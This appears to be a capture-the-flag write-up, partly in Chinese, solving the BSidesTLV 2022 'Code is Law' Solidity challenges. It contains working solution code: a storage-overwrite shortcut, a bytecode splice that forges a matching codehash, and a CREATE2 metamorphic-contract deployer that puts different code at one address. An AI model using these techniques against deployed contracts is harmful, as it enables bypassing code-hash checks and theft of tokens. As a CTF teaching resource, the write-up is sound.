import{expect}from"chai";import{ethers}from"hardhat";import{ChallengeToken}from"../typechain";// This "Challenge Setup" block must be left as-isdescribe("Challenge Setup",function(){it("Should deploy ChallengeToken",asyncfunction(){constChallengeTokenFactory=awaitethers.getContractFactory("ChallengeToken",(awaitethers.getSigners()).pop());constchallengeToken=awaitChallengeTokenFactory.deploy();awaitchallengeToken.deployed();});});// Try to solve the challenge below this line// Run `npx hardhat ctf-try` to test your solution locally// Run `npx hardhat ctf-try --submit` to submit your solution to the remote CTF node and get the real flagdescribe("Solve Challenge",function(){letchallengeToken:ChallengeToken;it("Should return the winning flag",asyncfunction(){challengeToken=awaitethers.getContractAt("ChallengeToken","0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f");constreturnedFlag=awaitchallengeToken.did_i_win()console.log(`\tThe returned flag is: "${returnedFlag}"`)});});
// SPDX-License-Identifier: Unlicensepragmasolidity^0.8.0;import"@openzeppelin/contracts/token/ERC20/ERC20.sol";import"hardhat/console.sol";contractChallengeTokenisERC20{bytes32privateonlyICanHazTokenContractCodeHash=0x1431A52467B8E0B496D710A30B897A6EB093CD9137FBF9B34B47441FD5E868F3;constructor()ERC20("ChallengeToken","BSIDES2022"){}functiondid_i_win()publicviewreturns(stringmemory){if(balanceOf(msg.sender)==0){revert("you shall not pass");}return"BSidesTLV2022{PLACEHOLDER}";}functioncan_i_haz_token(addressreceiver)public{require(receiver==calculateAddressOfTheFirstContractDeployedBy(tx.origin),"receiver is ineligible for a token because they are not the first contract deployed by the EOA who initiated this transaction");require(getContractCodeHash(receiver)==onlyICanHazTokenContractCodeHash,"receiver is ineligible for a token because their codehash does not match the specific contract codehash required");if(balanceOf(receiver)==0){_mint(receiver,1);}}functiongetContractCodeHash(addresscontractAddress)privateviewreturns(bytes32callerContractCodeHash){assembly{callerContractCodeHash:=extcodehash(contractAddress)}}// Copied from https://ethereum.stackexchange.com/a/87840functioncalculateAddressOfTheFirstContractDeployedBy(addressdeployer)privatepurereturns(address_address){bytes32hash=keccak256(abi.encodePacked(bytes1(0xd6),bytes1(0x94),deployer,bytes1(0x80)));assembly{mstore(0,hash)_address:=mload(0)}}}
//SPDX-License-Identifier: Unlicensepragmasolidity^0.8.0;import"@openzeppelin/contracts/token/ERC20/ERC20.sol";import"hardhat/console.sol";contractChallengeTokenisERC20{bytes32privateonlyICanHazTokenContractCodeHash=0x1431A52467B8E0B496D710A30B897A6EB093CD9137FBF9B34B47441FD5E868F3;constructor()ERC20("ChallengeToken","BSIDES2022"){}functiondid_i_win()publicviewreturns(stringmemory){if(balanceOf(msg.sender)==0){revert("you shall not pass");}return"BSidesTLV2022{PLACEHOLDER}";}functioncan_i_haz_token(addressreceiver)public{require(getContractCodeHash(receiver)==onlyICanHazTokenContractCodeHash,"receiver is ineligible for a token because their codehash does not match the specific contract codehash required");if(balanceOf(receiver)==0){_mint(receiver,1);}}functiongetContractCodeHash(addresscontractAddress)privateviewreturns(bytes32callerContractCodeHash){assembly{callerContractCodeHash:=extcodehash(contractAddress)}}functionapprove(addressspender,uint256amount)publicoverridereturns(bool){returnfalse;}}
it("Should return the winning flag",asyncfunction(){challengeToken=awaitethers.getContractAt("ChallengeToken","0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f");let[player]=awaitethers.getSigners();letplayerHash=awaitethers.utils.solidityKeccak256(["uint256","uint"],[player.address,0]);awaitethers.provider.send("hardhat_setStorageAt",[challengeToken.address,playerHash,ethers.utils.hexZeroPad(ethers.utils.hexlify(1),32)]);constreturnedFlag=awaitchallengeToken.did_i_win()console.log(`\tThe returned flag is: "${returnedFlag}"`)});
不过,直接使用合约 ExtOnlyICanHazToken 仍然会得到报错 receiver is ineligible for a token because their codehash does not match the specific contract codehash required :(
it("Should return the winning flag",asyncfunction(){letonlyICanHazTokenFactory=awaitethers.getContractFactory('OnlyICanHazToken');letextOnlyICanHazTokenFactory=awaitethers.getContractFactory('ExtOnlyICanHazToken');let[player]=awaitethers.getSigners();constExtOnlyICanHazTokenFactory=newethers.ContractFactory(onlyICanHazTokenFactory.interface,extOnlyICanHazTokenFactory.bytecode.substring(0,extOnlyICanHazTokenFactory.bytecode.length-100)+onlyICanHazTokenFactory.bytecode.substring(onlyICanHazTokenFactory.bytecode.length-100),player);letextOnlyICanHazToken=awaitExtOnlyICanHazTokenFactory.deploy();awaitextOnlyICanHazToken.deployed();challengeToken=awaitethers.getContractAt("ChallengeToken","0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f");awaitchallengeToken.can_i_haz_token(extOnlyICanHazToken.address);awaitchallengeToken.transferFrom(extOnlyICanHazToken.address,player.address,1);constreturnedFlag=awaitchallengeToken.did_i_win()console.log(`\tThe returned flag is: "${returnedFlag}"`)});
不过 Code is Law 1 中 calculateAddressOfTheFirstContractDeployedBy 依据的是 CREATE 操作码的地址计算规则,即新合约的地址与合约创建者的地址和由创建者发起的交易的数量有关。除此之外,合约还可以通过 CREATE2 操作码创建,此时的合约地址与合约创建者的地址、参数 salt 和合约创建代码有关,若保持合约创建代码不变,且构造函数返回的运行时字节码可控,就可以在同一地址上反复部署完全不同的合约
//SPDX-License-Identifier: Unlicensepragmasolidity^0.8.0;contractDeployer{mapping(address=>address)_implementations;addresspublicdeployAddr;// will be called by the metamorphic ContractfunctiongetImplementation()externalviewreturns(addressimplementation){return_implementations[msg.sender];}function_getMetamorphicContractAddress(uint256salt,bytesmemorymetamorphicCode)internalviewreturns(address){// determine the address of the metamorphic contract.returnaddress(uint160(uint256(keccak256(abi.encodePacked(hex"ff",address(this),salt,keccak256(abi.encodePacked(metamorphicCode)))))));}functiondeploy(bytescalldatabytecode,uint256salt)public{bytesmemoryimplInitCode=bytecode;// assign the initialization code for the metamorphic contract.bytesmemorymetamorphicCode=(hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3"// here 3c (extcodecopy) is used, not 39 (codecopy));// declare a variable for the address of the implementation contract.addressimplementationContract;// load implementation init code and length, then deploy via CREATE.assembly{implementationContract:=create(0,add(0x20,implInitCode),mload(implInitCode))}addressmetamorphicContractAddress=_getMetamorphicContractAddress(salt,metamorphicCode);// first we deploy the code we want to deploy on a separate address// store the implementation to be retrieved by the metamorphic contract._implementations[metamorphicContractAddress]=implementationContract;addressaddr;assembly{addr:=create2(0,// send 0 weiadd(0x20,metamorphicCode),// load initialization code.mload(metamorphicCode),// load init code's length.salt)}deployAddr=addr;}}
it("Should return the winning flag",asyncfunction(){challengeToken=awaitethers.getContractAt("ChallengeToken","0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f");letsalt=1;letdeployerFactory=awaitethers.getContractFactory("Deployer");letdeployer=awaitdeployerFactory.deploy();awaitdeployer.deployed();letonlyICanHazTokenFactory=awaitethers.getContractFactory('OnlyICanHazToken');awaitdeployer.deploy(onlyICanHazTokenFactory.bytecode,salt);letdeployAddr=awaitdeployer.deployAddr();challengeToken.can_i_haz_token(deployAddr);letonlyICanHazToken=awaitethers.getContractAt("OnlyICanHazToken",deployAddr);awaitonlyICanHazToken.bye();letwithdrawerFactory=awaitethers.getContractFactory('Withdrawer');awaitdeployer.deploy(withdrawerFactory.bytecode,salt);letwithdrawer=awaitethers.getContractAt("Withdrawer",deployAddr);awaitwithdrawer.withdraw();constreturnedFlag=awaitchallengeToken.did_i_win();console.log(`\tThe returned flag is: "${returnedFlag}"`)});